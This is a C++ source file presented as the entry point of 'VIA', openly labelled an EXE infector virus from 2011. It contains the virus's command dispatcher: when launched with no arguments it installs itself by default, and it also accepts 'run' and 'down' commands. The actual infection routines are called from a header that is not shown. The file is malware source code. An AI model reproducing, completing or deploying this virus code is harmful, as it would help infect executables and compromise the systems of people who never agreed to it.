/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

#include "via.h"
#include <string>

bool run(const std::wstring& targetDir)
{
	traceDbg(L"ViaEXE: op started: run");
	bool ret = ViaRun(targetDir);
	traceDbg(L"ViaEXE: op finished: run");
	return ret;
}

bool down(void)
{
	traceDbg(L"ViaEXE: op started: down");
	bool ret = ViaDown();
	traceDbg(L"ViaEXE: op finsihed: down");
	return ret;
}

bool install(void)
{
	traceDbg(L"ViaEXE: op started: install");
	
	wchar_t moduleFileName[MAX_PATH] = {0};
	GetModuleFileNameW(NULL, moduleFileName, MAX_PATH);
	bool ret = ViaInstall(moduleFileName);

	traceDbg(L"ViaEXE: op finished: install: ret val: %s", (ret ? L"True" : L"False"));
	return ret;
}

#pragma optimize( "", off )
void callFunc()
{
	GetProcAddress(GetModuleHandleA(NULL), "Proc");	
}
#pragma optimize( "", on )

// main entry point of VIA
DWORD wmain(DWORD argc, LPCWSTR* argv)
{
	bool retval = false;

	wchar_t moduleName[MAX_PATH] = {0};
	GetModuleFileNameW(NULL, moduleName, MAX_PATH);
	traceDbg(L"ViaEXE: Loaded as: %s", moduleName);

	if( argc <= 1 )
	{
		traceDbg(L"ViaEXE: default op: install");
		install();
	}
	else
	{
		std::wstring cmd(argv[1]);
		if( cmd == L"run" )
		{
			retval = run((argc > 2 ? argv[2] : L""));
		}
		else if( cmd == L"down" )
		{
			retval = down();
		}
		else if( cmd == L"install" )
		{
			retval = install();
		}
		else
		{
			traceDbg(L"ViaEXE: Unknown command");
			__asm
			{
				int 3;
			}
		}
	}

	callFunc();

	return (retval ? 0 : 1);
}